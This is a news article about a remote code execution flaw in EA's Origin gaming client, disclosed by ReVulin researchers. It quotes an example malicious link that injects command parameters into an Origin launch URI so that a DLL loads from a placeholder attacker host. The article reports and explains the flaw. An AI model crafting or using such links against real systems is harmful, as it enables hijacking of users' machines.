The estimated 40m users of Electronic Arts' cloud gaming platform Origin, may be at risk of targeted hacks resulting from a security flaw identified within the service.
Independent security research company ReVulin has outlined how a loophole in how Origin handles links to games could enable hackers to remotely execute malicious code on users' machines.
The vulnerability allows hackers to infiltrate the URI (uniform resource identifiers) that members click to launch the Origin client from their web browser and begin playing games on a Mac or PC.
"An attacker can craft a malicious internet link to execute malicious code remotely on a victim's system, which has Origin installed," wrote during researchers Donato Ferrante and Luigi Auriemma in a paper published last month.
Manipulation
In a demonstration of the concept in Amsterdam last week, the duo showcased how they were able to take control of a machine running EA's Crysis 3 game on the Origin platform.
EA uses the "origin://LaunchGame/71503" URI to launch the game, but ReVulin showed how a manipulated link, for example, "origin://LaunchGame/71503?CommandParams= -openautomate \\ATTACKER_IP\evil.dll" could be used to remotely install the malicious code on an individual user's machine.
In an emailed statement to Ars Technica, EA claimed it was always on the lookout for "hypothetical' vulnerabilities, but did not infer that a change was in the works.
"Our team is constantly investigating hypotheticals like this one as we continually update our security infrastructure," a spokesperson wrote.
Stuttering
The revelation comes following a torrid couple of weeks for Electronic Arts. The company is still reeling from the stuttering SimCity launch, which left hundreds of thousands of users unable to connect to servers.
Earlier on Tuesday, the company's CEO John Riccitiello announced he would be leaving the post causing the company's stock to drop considerably.
Via Ars Technica
